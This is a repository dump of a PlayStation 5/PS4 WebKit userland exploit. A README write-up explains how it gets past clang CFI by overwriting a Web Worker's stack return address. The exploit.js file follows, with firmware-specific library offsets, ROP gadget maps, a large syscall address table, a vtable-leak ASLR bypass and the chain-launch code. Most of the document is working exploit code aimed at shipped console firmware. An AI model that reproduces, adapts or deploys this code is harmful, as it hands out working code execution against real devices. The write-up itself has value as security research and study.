Repository: ChendoChap/PS5-Webkit-Execution
Branch: main
Commit: ad157f5c0748
Files: 7
Total size: 59.7 KB
Directory structure:
gitextract_414mdp3f/
├── .github/
│ └── README.md
├── exploit.js
├── index.html
├── int64.js
├── rop.js
├── rop_slave.js
└── webkit.js
================================================
FILE CONTENTS
================================================
================================================
FILE: .github/README.md
================================================
# Exploring the Playstation 5 Security - Userland
---
## Introduction
The PlayStation 5 was released on November 12th 2020. While it's similar to the PS4 in it's architecture, the security model is vastly improved on both kernel and userland fronts. Below is some key system information on system software and some of the changes from the last generation.
- Uses FreeBSD 11.
- No development access (ie. can't run unsigned code without exploits).
- To date there are no public exploits.
- Added mitigations in kernel and userland.
- Added hypervisor that handles security and app containers.
---
## Userland Overview
Back in September Project Zero released a [report](https://github.com/googleprojectzero/0days-in-the-wild/blob/67fde24b17e0defe07208d7a7f63563168ed5e62/0day-RCAs/2021/CVE-2021-30858.md) for what they believed to be CVE-2021-30858, this turned out to be wrong as it was actually CVE-2021-30889 they were describing. A [proof of concept](https://gist.github.com/sleirsgoevy/6beca32893909095f4bba1ce29167992) was written for PS4 by sleirsgoevy, which we later modified to gain ROP execution on 9.00 for the [kernel exploit](https://github.com/ChendoChap/pOOBs4). The vulnerability won't be covered here, this writeup will focus on taking the arbitrary read/write and `leakobj()/fakeobj()` primitives the exploit provides to gain code execution on PS5.
Lower firmwares such as 2.00 don't seem to be vulnerable, likely because the relevant FontFace code isn't present in older builds of WebKit (this holds true on PS4 as well, as firmwares lower than 9.00 can't be exploited with this WebKit bug).
Firmware 4.03 however, we found the browser was vulnerable. Unfortunately the exploit strategy used on PS4 could not be used on PS5 because of clang-based CFI. On PS4, we can use the `leakobj()` and arbitrary write primitive to leak an `HTMLTextArea`'s vtable and smash one the various virtual calls for code execution. On PS5, these virtual calls are verified.
Virtual calls now have code that looks something like this, where it's address is enforced:

---
### [Mitigations](https://wiki.freebsd.org/SecurityMitigations)
|name|kernel|user|description|
|---|---|---|---|
|[SMEP: Supervisor Mode Execution Prevention](https://svnweb.freebsd.org/base?view=revision&revision=242433)|x||SMEP will prevent supervisor mode from executing user-space code.|
|[SMAP: Supervisor Mode Access Prevention](https://en.wikipedia.org/wiki/Supervisor_Mode_Access_Prevention)|x||Complements Supervisor Mode Execution Prevention (SMEP), extends protection to reads and writes.|
|[XOM: eXecute Only Memory (R^X)](https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/what-is-execute-only-memory-xom)|x|x|Disallows reading any memory page marked as executable.|
|[Clang-CFI: Control Flow Integrity](https://clang.llvm.org/docs/ControlFlowIntegrity.html)|x|x|Protects against forward-edge control flow hijack (virtual calls, etc.)|
[Clang's Control Flow Integrity flags](https://clang.llvm.org/docs/ControlFlowIntegrity.html)
|-fsanitize=cfi-|description|
|----|---|
|cast-strict| Enables strict cast checks.|
|derived-cast| Base-to-derived cast to the wrong dynamic type.|
|unrelated-cast| Cast from void* or another unrelated type to the wrong dynamic type.|
|nvcall| Non-virtual call via an object whose vptr is of the wrong dynamic type.|
|vcal| Virtual call via an object whose vptr is of the wrong dynamic type.|
|icall| Indirect call of a function with wrong dynamic type.|
|mfcall| Indirect call via a member function pointer with wrong dynamic type.|
---
## WebKit Exploit Implementation
### Overview
An alternative was needed to achieve code execution in WebKit. Thankfully, PS5's CFI is only forward-edge and does not use shadow stack, so backward-edge attacks (such as attacking return addresses on the stack) are fair game. Javascript provides a somewhat interesting piece of functionality called [Web Workers](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API). These Workers are at their core simple threads which execute javascript in an isolated environment. These were useful for exploitation, as they had a reliable stack we could leak, and gives a thread to pivot to our ROP chain.
### Leaking a worker stack
The libkernel library used by WebKit (and many other applications) keeps a list of threads for that process, and includes information such as the stack address and size. By iterating this list using the arbitrary read/write, we can find a worker's stack address.
```javascript
function find_worker() {
const PTHREAD_NEXT_THREAD_OFFSET = 0x38;
const PTHREAD_STACK_ADDR_OFFSET = 0xA8;
const PTHREAD_STACK_SIZE_OFFSET = 0xB0;
for (let thread = p.read8(libKernelBase.add32(OFFSET_lk__thread_list)); thread.low != 0x0 && thread.hi != 0x0; thread = p.read8(thread.add32(PTHREAD_NEXT_THREAD_OFFSET))) {
let stack = p.read8(thread.add32(PTHREAD_STACK_ADDR_OFFSET));
let stacksz = p.read8(thread.add32(PTHREAD_STACK_SIZE_OFFSET));
if (stacksz.low == 0x80000) {
return stack;
}
}
alert("failed to find worker.");
}
```
### Launching a ROP chain
Once we have a worker stack, we can smash a known return address on the stack to stack pivot and get ROP running. Due to the stack being deterministic, we can setup a dummy worker with a `postMessage` handler and overwrite the return address at `stack+0x7FB88`.
```javascript
const OFFSET_WORKER_STACK_OFFSET = set_offset_for_platform(0x0007FB88, 0x0007FB28);
// ...
let return_address_ptr = worker_stack.add32(OFFSET_WORKER_STACK_OFFSET);
let original_return_address = p.read8(return_address_ptr);
let stack_pointer_ptr = return_address_ptr.add32(0x8);
// ...
async function launch_chain(chain) {
// ...
//overwrite return address
p.write8(return_address_ptr, gadgets["pop rsp"]);
p.write8(stack_pointer_ptr, chain.stack_entry_point);
let p1 = await new Promise((resolve) => {
const channel = new MessageChannel();
channel.port1.onmessage = () => {
channel.port1.close();
resolve(1);
}
worker.postMessage(0, [channel.port2]);
});
// ...
}
```
---
## Conclusion
Gaining userland code execution on PS5 is trickier than on PS4, but it's possible. Of course, this was made easier by the fact that we have binaries\* and thus access to ROP gadgets. Otherwise, achieving code execution would have been far more difficult due to XOM. This is a userland exploit. Attacking the kernel is much more difficult due to above mitigations, and is left for a future writeup.
---
## Credits
ChendoChap && Znullptr
**Thanks**
- Anonymous\*
- Specter
- sleirsgoevy
- Everyone that donated.
================================================
FILE: exploit.js
================================================
//Common chain
let chain;
//Bases
let libSceNKWebKitBase;
let libSceLibcInternalBase;
let libKernelBase;
//ASLR defeat patsy (former vtable buddy)
let textArea = document.createElement("textarea");
//Control flag
const IS_PS5 = navigator.userAgent.includes("PlayStation 5");
function set_offset_for_platform(ps5_offset, ps4_offset) {
return (IS_PS5) ? ps5_offset : ps4_offset;
}
const OFFSET_wk_vtable_first_element = set_offset_for_platform(0x00D04580, 0x0104F110);
const OFFSET_wk_memset_import = set_offset_for_platform(0x028F9D38, 0x02F4A4E8);
const OFFSET_wk___stack_chk_fail_import = set_offset_for_platform(0x028F9C38, 0x02F4A450);
const OFFSET_lk___stack_chk_fail = set_offset_for_platform(0x00019970, 0x0001FF60);
const OFFSET_lk_pthread_create_name_np = set_offset_for_platform(0x00001B60, 0x00019F10);
const OFFSET_lk_pthread_exit = set_offset_for_platform(0x00020A80, 0x000077A0);
const OFFSET_lk_pthread_join = set_offset_for_platform(0x0002FAD0, 0x0000AFA0);
const OFFSET_lk__thread_list = set_offset_for_platform(0x000601A8, 0x00058248);
const OFFSET_lc_memset = set_offset_for_platform(0x000148F0, 0x0004F810);
const OFFSET_lc_setjmp = set_offset_for_platform(0x0005E9B0, 0x000BB5BC);
const OFFSET_lc_longjmp = set_offset_for_platform(0x0005EA00, 0x000BB616);
const OFFSET_WORKER_STACK_OFFSET = set_offset_for_platform(0x0007FB88, 0x0007FB28);
//ps5 malloc: 0x05C60
//ps5 free : 0x05C70
//ps5 memcpy: 0x03A90
//ps5 memcmp: 0x437F0
//ps5 __error: 0x1D2A0
let nogc = [];
let syscalls = {};
let gadgets = {};
let ps5_syscall_map = {
0x001: 0x34230, // sys_exit
0x002: 0x351E0, // sys_fork
0x003: 0x33400, // sys_read
0x004: 0x33360, // sys_write
0x005: 0x33A00, // sys_open
0x006: 0x34030, // sys_close
0x007: 0x32C20, // sys_wait4
0x00A: 0x34D20, // sys_unlink
0x00C: 0x346B0, // sys_chdir
0x00F: 0x340B0, // sys_chmod
0x014: 0x33580, // sys_getpid
0x017: 0x33080, // sys_setuid
0x018: 0x34690, // sys_getuid
0x019: 0x33A40, // sys_geteuid
0x01B: 0x33AE0, // sys_recvmsg
0x01C: 0x33D10, // sys_sendmsg
0x01D: 0x34860, // sys_recvfrom
0x01E: 0x32F80, // sys_accept
0x01F: 0x32DA0, // sys_getpeername
0x020: 0x34EC0, // sys_getsockname
0x021: 0x349E0, // sys_access
0x022: 0x34B60, // sys_chflags
0x023: 0x34530, // sys_fchflags
0x024: 0x35410, // sys_sync
0x025: 0x339E0, // sys_kill
0x027: 0x33480, // sys_getppid
0x029: 0x34A40, // sys_dup
0x02A: 0x333D0, // sys_pipe
0x02B: 0x35080, // sys_getegid
0x02C: 0x353D0, // sys_profil
0x02F: 0x32F20, // sys_getgid
0x031: 0x32F00, // sys_getlogin
0x032: 0x34790, // sys_setlogin
0x035: 0x33140, // sys_sigaltstack
0x036: 0x332A0, // sys_ioctl
0x037: 0x34570, // sys_reboot
0x038: 0x34470, // sys_revoke
0x03B: 0x34770, // sys_execve
0x041: 0x34110, // sys_msync
0x049: 0x33900, // sys_munmap
0x04A: 0x34670, // sys_mprotect
0x04B: 0x337F0, // sys_madvise
0x04E: 0x339C0, // sys_mincore
0x04F: 0x32E80, // sys_getgroups
0x050: 0x33420, // sys_setgroups
0x053: 0x32E60, // sys_setitimer
0x056: 0x32C80, // sys_getitimer
0x059: 0x344D0, // sys_getdtablesize
0x05A: 0x348E0, // sys_dup2
0x05C: 0x33F10, // sys_fcntl
0x05D: 0x33A60, // sys_select
0x05F: 0x32EC0, // sys_fsync
0x060: 0x33DF0, // sys_setpriority
0x061: 0x33640, // sys_socket
0x062: 0x346D0, // sys_connect
0x063: 0x35040, // sys_netcontrol
0x064: 0x32C40, // sys_getpriority
0x065: 0x34C60, // sys_netabort
0x066: 0x34FE0, // sys_netgetsockinfo
0x068: 0x34CE0, // sys_bind
0x069: 0x33F50, // sys_setsockopt
0x06A: 0x33240, // sys_listen
0x071: 0x34250, // sys_socketex
0x072: 0x33C20, // sys_socketclose
0x074: 0x353F0, // sys_gettimeofday
0x075: 0x354D0, // sys_getrusage
0x076: 0x32C00, // sys_getsockopt
0x078: 0x33E90, // sys_readv
0x079: 0x33CF0, // sys_writev
0x07A: 0x34940, // sys_settimeofday
0x07C: 0x33880, // sys_fchmod
0x07D: 0x340F0, // sys_netgetiflist
0x07E: 0x34FC0, // sys_setreuid
0x07F: 0x33BE0, // sys_setregid
0x080: 0x34B40, // sys_rename
0x083: 0x33B60, // sys_flock
0x085: 0x35430, // sys_sendto
0x086: 0x35260, // sys_shutdown
0x087: 0x345F0, // sys_socketpair
0x088: 0x34390, // sys_mkdir
0x089: 0x335E0, // sys_rmdir
0x08A: 0x32AF0, // sys_utimes
0x08C: 0x34F80, // sys_adjtime
0x08D: 0x340D0, // sys_kqueueex
0x093: 0x34330, // sys_setsid
0x0A5: 0x32E20, // sys_sysarch
0x0B6: 0x34DC0, // sys_setegid
0x0B7: 0x32C60, // sys_seteuid
0x0BC: 0x34E20, // sys_stat
0x0BD: 0x35220, // sys_fstat
0x0BE: 0x33C00, // sys_lstat
0x0BF: 0x33300, // sys_pathconf
0x0C0: 0x345B0, // sys_fpathconf
0x0C2: 0x33B40, // sys_getrlimit
0x0C3: 0x33720, // sys_setrlimit
0x0C4: 0x34D40, // sys_getdirentries
0x0CA: 0x34B20, // sys___sysctl
0x0CB: 0x341D0, // sys_mlock
0x0CC: 0x34BC0, // sys_munlock
0x0CE: 0x33680, // sys_futimes
0x0D1: 0x33C60, // sys_poll
0x0E8: 0x32D20, // sys_clock_gettime
0x0E9: 0x34190, // sys_clock_settime
0x0EA: 0x35190, // sys_clock_getres
0x0EB: 0x34D60, // sys_ktimer_create
0x0EC: 0x334E0, // sys_ktimer_delete
0x0ED: 0x35240, // sys_ktimer_settime
0x0EE: 0x346F0, // sys_ktimer_gettime
0x0EF: 0x338A0, // sys_ktimer_getoverrun
0x0F0: 0x34C20, // sys_nanosleep
0x0F1: 0x34450, // sys_ffclock_getcounter
0x0F2: 0x33440, // sys_ffclock_setestimate
0x0F3: 0x342D0, // sys_ffclock_getestimate
0x0F7: 0x34CC0, // sys_clock_getcpuclockid2
0x0FD: 0x34880, // sys_issetugid
0x110: 0x35020, // sys_getdents
0x121: 0x34730, // sys_preadv
0x122: 0x33C80, // sys_pwritev
0x136: 0x33980, // sys_getsid
0x13B: 0x34E40, // sys_aio_suspend
0x144: 0x33500, // sys_mlockall
0x145: 0x34900, // sys_munlockall
0x147: 0x33600, // sys_sched_setparam
0x148: 0x34270, // sys_sched_getparam
0x149: 0x32DC0, // sys_sched_setscheduler
0x14A: 0x33C40, // sys_sched_getscheduler
0x14B: 0x33AA0, // sys_sched_yield
0x14C: 0x33040, // sys_sched_get_priority_max
0x14D: 0x33160, // sys_sched_get_priority_min
0x14E: 0x33390, // sys_sched_rr_get_interval
0x154: 0x32B50, // sys_sigprocmask
0x155: 0x32B90, // sys_sigsuspend
0x157: 0x34A60, // sys_sigpending
0x159: 0x34B80, // sys_sigtimedwait
0x15A: 0x347C0, // sys_sigwaitinfo
0x16A: 0x34DA0, // sys_kqueue
0x16B: 0x33000, // sys_kevent
0x17B: 0x32FA0, // sys_mtypeprotect
0x188: 0x330C0, // sys_uuidgen
0x189: 0x35510, // sys_sendfile
0x18D: 0x33560, // sys_fstatfs
0x190: 0x33120, // sys_ksem_close
0x191: 0x33EB0, // sys_ksem_post
0x192: 0x34750, // sys_ksem_wait
0x193: 0x354F0, // sys_ksem_trywait
0x194: 0x33260, // sys_ksem_init
0x195: 0x34C80, // sys_ksem_open
0x196: 0x34960, // sys_ksem_unlink
0x197: 0x330E0, // sys_ksem_getvalue
0x198: 0x34920, // sys_ksem_destroy
0x1A0: 0x34E00, // sys_sigaction
0x1A1: 0x34AA0, // sys_sigreturn
0x1A5: 0x33780, // sys_getcontext
0x1A6: 0x344B0, // sys_setcontext
0x1A7: 0x345D0, // sys_swapcontext
0x1AD: 0x337D0, // sys_sigwait
0x1AE: 0x32EA0, // sys_thr_create
0x1AF: 0x33200, // sys_thr_exit
0x1B0: 0x33BA0, // sys_thr_self
0x1B1: 0x33220, // sys_thr_kill
0x1B9: 0x34840, // sys_ksem_timedwait
0x1BA: 0x32B70, // sys_thr_suspend
0x1BB: 0x334A0, // sys_thr_wake
0x1BC: 0x34510, // sys_kldunloadf
0x1C6: 0x32BF0, // sys__umtx_op
0x1C6: 0x35200, // sys__umtx_op
0x1C7: 0x34F40, // sys_thr_new
0x1C8: 0x34EA0, // sys_sigqueue
0x1D0: 0x34800, // sys_thr_set_name
0x1D2: 0x33DB0, // sys_rtprio_thread
0x1DB: 0x33540, // sys_pread
0x1DC: 0x34650, // sys_pwrite
0x1DD: 0x34F20, // sys_mmap
0x1DE: 0x34A20, // sys_lseek
0x1DF: 0x33AC0, // sys_truncate
0x1E0: 0x33520, // sys_ftruncate
0x1E1: 0x32B10, // sys_thr_kill2
0x1E2: 0x35490, // sys_shm_open
0x1E3: 0x34F00, // sys_shm_unlink
0x1E6: 0x33740, // sys_cpuset_getid
0x1E7: 0x35300, // sys_cpuset_getaffinity
0x1E8: 0x34AC0, // sys_cpuset_setaffinity
0x1F3: 0x32EE0, // sys_openat
0x203: 0x34590, // sys___cap_rights_get
0x20A: 0x33FD0, // sys_pselect
0x214: 0x34090, // sys_regmgr_call
0x215: 0x33E10, // sys_jitshm_create
0x216: 0x343F0, // sys_jitshm_alias
0x217: 0x332E0, // sys_dl_get_list
0x218: 0x34130, // sys_dl_get_info
0x21A: 0x34070, // sys_evf_create
0x21B: 0x334C0, // sys_evf_delete
0x21C: 0x34410, // sys_evf_open
0x21D: 0x33FF0, // sys_evf_close
0x21E: 0x342B0, // sys_evf_wait
0x21F: 0x34A80, // sys_evf_trywait
0x220: 0x34430, // sys_evf_set
0x221: 0x349A0, // sys_evf_clear
0x222: 0x337B0, // sys_evf_cancel
0x223: 0x34290, // sys_query_memory_protection
0x224: 0x33B80, // sys_batch_map
0x225: 0x33D90, // sys_osem_create
0x226: 0x32D60, // sys_osem_delete
0x227: 0x32CE0, // sys_osem_open
0x228: 0x352E0, // sys_osem_close
0x229: 0x34370, // sys_osem_wait
0x22A: 0x34980, // sys_osem_trywait
0x22B: 0x34610, // sys_osem_post
0x22C: 0x33EF0, // sys_osem_cancel
0x22D: 0x33CA0, // sys_namedobj_create
0x22E: 0x339A0, // sys_namedobj_delete
0x22F: 0x35570, // sys_set_vm_container
0x230: 0x33460, // sys_debug_init
0x233: 0x33DD0, // sys_opmc_enable
0x234: 0x32E40, // sys_opmc_disable
0x235: 0x33E50, // sys_opmc_set_ctl
0x236: 0x33E70, // sys_opmc_set_ctr
0x237: 0x348C0, // sys_opmc_get_ctr
0x23C: 0x336E0, // sys_virtual_query
0x249: 0x34D00, // sys_is_in_sandbox
0x24A: 0x338C0, // sys_dmem_container
0x24B: 0x34170, // sys_get_authinfo
0x24C: 0x32CC0, // sys_mname
0x24F: 0x332C0, // sys_dynlib_dlsym
0x250: 0x335C0, // sys_dynlib_get_list
0x251: 0x35060, // sys_dynlib_get_info
0x252: 0x33F70, // sys_dynlib_load_prx
0x253: 0x32F60, // sys_dynlib_unload_prx
0x254: 0x34DE0, // sys_dynlib_do_copy_relocations
0x256: 0x33D70, // sys_dynlib_get_proc_param
0x257: 0x350C0, // sys_dynlib_process_needed_and_relocate
0x258: 0x32B30, // sys_sandbox_path
0x259: 0x336A0, // sys_mdbg_service
0x25A: 0x33D30, // sys_randomized_path
0x25B: 0x34BA0, // sys_rdup
0x25C: 0x331A0, // sys_dl_get_metadata
0x25D: 0x338E0, // sys_workaround8849
0x25E: 0x330A0, // sys_is_development_mode
0x25F: 0x34210, // sys_get_self_auth_info
0x260: 0x354B0, // sys_dynlib_get_info_ex
0x262: 0x35550, // sys_budget_get_ptype
0x263: 0x333B0, // sys_get_paging_stats_of_all_threads
0x264: 0x352C0, // sys_get_proc_type_info
0x265: 0x32AD0, // sys_get_resident_count
0x267: 0x33E30, // sys_get_resident_fmem_count
0x268: 0x34EE0, // sys_thr_get_name
0x269: 0x344F0, // sys_set_gpo
0x26A: 0x341F0, // sys_get_paging_stats_of_all_objects
0x26B: 0x32FE0, // sys_test_debug_rwmem
0x26C: 0x33100, // sys_free_stack
0x26E: 0x32D00, // sys_ipmimgr_call
0x26F: 0x34150, // sys_get_gpo
0x270: 0x35530, // sys_get_vm_map_timestamp
0x271: 0x34AE0, // sys_opmc_set_hw
0x272: 0x33620, // sys_opmc_get_hw
0x273: 0x32CA0, // sys_get_cpu_usage_all
0x274: 0x34310, // sys_mmap_dmem
0x275: 0x336C0, // sys_physhm_open
0x276: 0x33ED0, // sys_physhm_unlink
0x278: 0x35470, // sys_thr_suspend_ucontext
0x279: 0x33960, // sys_thr_resume_ucontext
0x27A: 0x33920, // sys_thr_get_ucontext
0x27B: 0x33A20, // sys_thr_set_ucontext
0x27C: 0x33660, // sys_set_timezone_info
0x27D: 0x343B0, // sys_set_phys_fmem_limit
0x27E: 0x33760, // sys_utc_to_localtime
0x27F: 0x35590, // sys_localtime_to_utc
0x280: 0x34710, // sys_set_uevt
0x281: 0x33280, // sys_get_cpu_usage_proc
0x282: 0x33B00, // sys_get_map_statistics
0x283: 0x348A0, // sys_set_chicken_switches
0x286: 0x351C0, // sys_get_kernel_mem_statistics
0x287: 0x343D0, // sys_get_sdk_compiled_version
0x288: 0x32D40, // sys_app_state_change
0x289: 0x34F60, // sys_dynlib_get_obj_member
0x28C: 0x32DE0, // sys_process_terminate
0x28D: 0x335A0, // sys_blockpool_open
0x28E: 0x33340, // sys_blockpool_map
0x28F: 0x34D80, // sys_blockpool_unmap
0x290: 0x349C0, // sys_dynlib_get_info_for_libdbg
0x291: 0x33A80, // sys_blockpool_batch
0x292: 0x331E0, // sys_fdatasync
0x293: 0x33700, // sys_dynlib_get_list2
0x294: 0x35450, // sys_dynlib_get_info2
0x295: 0x34C00, // sys_aio_submit
0x296: 0x33180, // sys_aio_multi_delete
0x297: 0x33FB0, // sys_aio_multi_wait
0x298: 0x33060, // sys_aio_multi_poll
0x299: 0x34B00, // sys_aio_get_data
0x29A: 0x33F90, // sys_aio_multi_cancel
0x29B: 0x32F40, // sys_get_bio_usage_all
0x29C: 0x34630, // sys_aio_create
0x29D: 0x350A0, // sys_aio_submit_cmd
0x29E: 0x34FA0, // sys_aio_init
0x29F: 0x34A00, // sys_get_page_table_stats
0x2A0: 0x34E60, // sys_dynlib_get_list_for_libdbg
0x2A1: 0x35000, // sys_blockpool_move
0x2A2: 0x34E80, // sys_virtual_query_all
0x2A3: 0x33F30, // sys_reserve_2mb_page
0x2A4: 0x347E0, // sys_cpumode_yield
0x2A5: 0x342F0, // sys_wait6
0x2A6: 0x33D50, // sys_cap_rights_limit
0x2A7: 0x33320, // sys_cap_ioctls_limit
0x2A8: 0x34050, // sys_cap_ioctls_get
0x2A9: 0x34820, // sys_cap_fcntls_limit
0x2AA: 0x32FC0, // sys_cap_fcntls_get
0x2AB: 0x35320, // sys_bindat
0x2AC: 0x33B20, // sys_connectat
0x2AD: 0x32D80, // sys_chflagsat
0x2AE: 0x32BD0, // sys_accept4
0x2AF: 0x331C0, // sys_pipe2
0x2B0: 0x33BC0, // sys_aio_mlock
0x2B1: 0x352A0, // sys_procctl
0x2B2: 0x34550, // sys_ppoll
0x2B3: 0x34490, // sys_futimens
0x2B4: 0x34C40, // sys_utimensat
0x2B5: 0x341B0, // sys_numa_getaffinity
0x2B6: 0x34010, // sys_numa_setaffinity
0x2C1: 0x33020, // sys_get_phys_page_size
0x2C9: 0x35280, // sys_get_ppr_sdk_compiled_version
0x2CC: 0x33860, // sys_openintr
0x2CD: 0x34350, // sys_dl_get_info_2
0x2CE: 0x33940, // sys_acinfo_add
0x2CF: 0x32BB0, // sys_acinfo_delete
0x2D0: 0x34BE0, // sys_acinfo_get_all_for_coredump
0x2D1: 0x34CA0, // sys_ampr_ctrl_debug
0x2D2: 0x32E00, // sys_workspace_ctrl
}
let ps4_wk_gadgetmap = {
"ret": 0x32,
"pop rdi": 0x319690,
"pop rsi": 0x1F4D6,
"pop rdx": 0x986C,
"pop rcx": 0x657B7,
"pop r8": 0xAFAA71,
"pop r9": 0x422571,
"pop rax": 0x51A12,
"pop rsp": 0x4E293,
"mov [rdi], rsi": 0x1A97920,
"mov [rdi], rax": 0x10788F7,
"mov [rdi], eax": 0x9964BC,
"infloop": 0x7DFF,
//branching specific gadgets
"cmp [rcx], eax": 0x471F02,
"sete al": 0xC975,
"seta al": 0x110297,
"setb al": 0x2B762,
"setg al": 0x1EDF5,
"setl al": 0x6C8D86,
"shl rax, 3": 0x4AB143,
"add rax, rdx": 0x3F662C,
"mov rax, [rax]": 0x241CC,
"inc dword [rax]": 0xCC638,
};
let ps5_wk_gadgetmap = {
"ret": 0x000042,
"pop rdi": 0x043B7C,
"pop rsi": 0x08f33E,
"pop rdx": 0x0156EA,
"pop rcx": 0x060DF3,
"pop r8": 0x1262A4F,
"pop r9": 0x4E450C,
"pop rax": 0x084094,
"pop rsp": 0x05D293,
"mov [rdi], rsi": 0x0118570,
"mov [rdi], rax": 0x0C3A5C0,
"mov [rdi], eax": 0x03FB6E6,
"infloop": 0x109E1,
//branching specific gadgets
"cmp [rcx], eax": 0x204122,
"sete al": 0x0B7B735,
"seta al": 0xCCFB4,
"setb al": 0x1B7657,
"setg al": 0x00708c9,
"setl al": 0x1517692,
"shl rax, 3": 0x1A43F03,
"add rax, rdx": 0x16F4948,
"mov rax, [rax]": 0x142E309,
"inc dword [rax]": 0x017629AF,
};
let worker = new Worker("rop_slave.js");
//Make sure worker is alive?
async function wait_for_worker() {
let p1 = await new Promise((resolve) => {
const channel = new MessageChannel();
channel.port1.onmessage = () => {
channel.port1.close();
resolve(1);
}
worker.postMessage(0, [channel.port2]);
});
return p1;
}
function find_worker() {
const PTHREAD_NEXT_THREAD_OFFSET = 0x38;
const PTHREAD_STACK_ADDR_OFFSET = 0xA8;
const PTHREAD_STACK_SIZE_OFFSET = 0xB0;
for (let thread = p.read8(libKernelBase.add32(OFFSET_lk__thread_list)); thread.low != 0x0 && thread.hi != 0x0; thread = p.read8(thread.add32(PTHREAD_NEXT_THREAD_OFFSET))) {
let stack = p.read8(thread.add32(PTHREAD_STACK_ADDR_OFFSET));
let stacksz = p.read8(thread.add32(PTHREAD_STACK_SIZE_OFFSET));
if (stacksz.low == 0x80000) {
return stack;
}
}
alert("failed to find worker.");
}
async function userland() {
p.pre_chain = pre_chain;
p.launch_chain = launch_chain;
p.malloc = malloc;
p.stringify = stringify;
p.array_from_address = array_from_address;
p.readstr = readstr;
p.writestr = writestr;
//pointer to vtable address
let textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18));
//address of vtable
let textAreaVtable = p.read8(textAreaVtPtr);
//use address of 1st entry (in .text) to calculate libSceNKWebKitBase
libSceNKWebKitBase = p.read8(textAreaVtable).sub32(OFFSET_wk_vtable_first_element);
libSceLibcInternalBase = p.read8(libSceNKWebKitBase.add32(OFFSET_wk_memset_import));
libSceLibcInternalBase.sub32inplace(OFFSET_lc_memset);
libKernelBase = p.read8(libSceNKWebKitBase.add32(OFFSET_wk___stack_chk_fail_import));
libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail);
if (IS_PS5) {
for (let gadget in ps5_wk_gadgetmap) {
gadgets[gadget] = libSceNKWebKitBase.add32(ps5_wk_gadgetmap[gadget]);
}
for (let sysc in ps5_syscall_map) {
syscalls[sysc] = libKernelBase.add32(ps5_syscall_map[sysc]);
}
} else {
for (let gadget in ps4_wk_gadgetmap) {
gadgets[gadget] = libSceNKWebKitBase.add32(ps4_wk_gadgetmap[gadget]);
}
}
function malloc(sz, type = 4) {
let backing;
if (type == 1) {
backing = new Uint8Array(0x10000 + sz);
} else if (type == 2) {
backing = new Uint16Array(0x10000 + sz);
} else if (type == 4) {
backing = new Uint32Array(0x10000 + sz);
}
nogc.push(backing);
let ptr = p.read8(p.leakval(backing).add32(0x10));
ptr.backing = backing;
return ptr;
}
function array_from_address(addr, size) {
let og_array = new Uint32Array(0x1000);
let og_array_i = p.leakval(og_array).add32(0x10);
p.write8(og_array_i, addr);
p.write4(og_array_i.add32(0x8), size);
p.write4(og_array_i.add32(0xC), 0x1);
nogc.push(og_array);
return og_array;
}
function stringify(str) {
let bufView = new Uint8Array(str.length + 1);
for (let i = 0; i < str.length; i++) {
bufView[i] = str.charCodeAt(i) & 0xFF;
}
nogc.push(bufView);
return p.read8(p.leakval(bufView).add32(0x10));
}
function readstr(addr) {
let str = "";
for (let i = 0;; i++) {
let c = p.read1(addr.add32(i));
if (c == 0x0) {
break;
}
str += String.fromCharCode(c);
}
return str;
}
function writestr(addr, str) {
let waddr = addr.add32(0);
if (typeof (str) == "string") {
for (let i = 0; i < str.length; i++) {
let byte = str.charCodeAt(i);
if (byte == 0) {
break;
}
p.write1(waddr, byte);
waddr.add32inplace(0x1);
}
}
p.write1(waddr, 0x0);
}
await wait_for_worker();
let worker_stack = find_worker();
let original_context = p.malloc(0x40);
let return_address_ptr = worker_stack.add32(OFFSET_WORKER_STACK_OFFSET);
let original_return_address = p.read8(return_address_ptr);
let stack_pointer_ptr = return_address_ptr.add32(0x8);
function pre_chain(chain) {
//save context for later
chain.push(gadgets["pop rdi"]);
chain.push(original_context);
chain.push(libSceLibcInternalBase.add32(OFFSET_lc_setjmp));
}
async function launch_chain(chain) {
//Restore earlier saved context but with a twist.
let original_value_of_stack_pointer_ptr = p.read8(stack_pointer_ptr);
chain.push_write8(original_context, original_return_address);
chain.push_write8(original_context.add32(0x10), return_address_ptr);
chain.push_write8(stack_pointer_ptr, original_value_of_stack_pointer_ptr);
chain.push(gadgets["pop rdi"]);
chain.push(original_context);
chain.push(libSceLibcInternalBase.add32(OFFSET_lc_longjmp));
//overwrite rop_slave's return address
p.write8(return_address_ptr, gadgets["pop rsp"]);
p.write8(stack_pointer_ptr, chain.stack_entry_point);
let p1 = await new Promise((resolve) => {
const channel = new MessageChannel();
channel.port1.onmessage = () => {
channel.port1.close();
resolve(1);
}
worker.postMessage(0, [channel.port2]);
});
if (p1 === 0) {
alert("The rop thread ran away. ");
p.write8(0, 0);
}
}
if (!IS_PS5) {
//PS4: read libkernel text and look for syscall wrappers.
let kview = new Uint8Array(0x1000);
let kstr = p.leakval(kview).add32(0x10);
let orig_kview_buf = p.read8(kstr);
p.write8(kstr, libKernelBase);
p.write4(kstr.add32(8), 0x40000);
let countbytes;
for (let i = 0; i < 0x40000; i++) {
if (kview[i] == 0x72 && kview[i + 1] == 0x64 && kview[i + 2] == 0x6c && kview[i + 3] == 0x6f && kview[i + 4] == 0x63) {
countbytes = i;
break;
}
}
p.write4(kstr.add32(8), countbytes + 32);
let dview32 = new Uint32Array(1);
let dview8 = new Uint8Array(dview32.buffer);
for (let i = 0; i < countbytes; i++) {
if (kview[i] == 0x48 && kview[i + 1] == 0xc7 && kview[i + 2] == 0xc0 && kview[i + 7] == 0x49 && kview[i + 8] == 0x89 && kview[i + 9] == 0xca && kview[i + 10] == 0x0f && kview[i + 11] == 0x05) {
dview8[0] = kview[i + 3];
dview8[1] = kview[i + 4];
dview8[2] = kview[i + 5];
dview8[3] = kview[i + 6];
let syscallno = dview32[0];
syscalls[syscallno] = libKernelBase.add32(i);
}
}
p.write8(kstr, orig_kview_buf);
}
chain = new worker_rop();
//POST EXPLOIT STUFF HERE
let pid = await chain.syscall(20);
//Sanity check
if (pid.low == 0) {
alert("webkit exploit failed. Try again if your ps4 is on fw 9.00 / ps5 is on fw 4.03 .");
p.write8(0, 0); //usually the rw prim just stopped working if we got here, so write to 0x0 might not actually kill the browser.
while (1);
}
alert(`sys_getpid: ${pid}`);
//Threading sample
let thread = new thread_rop("rop_thread"); {
thread.fcall(libKernelBase.add32(OFFSET_lk_pthread_exit), 0x11223344);
}
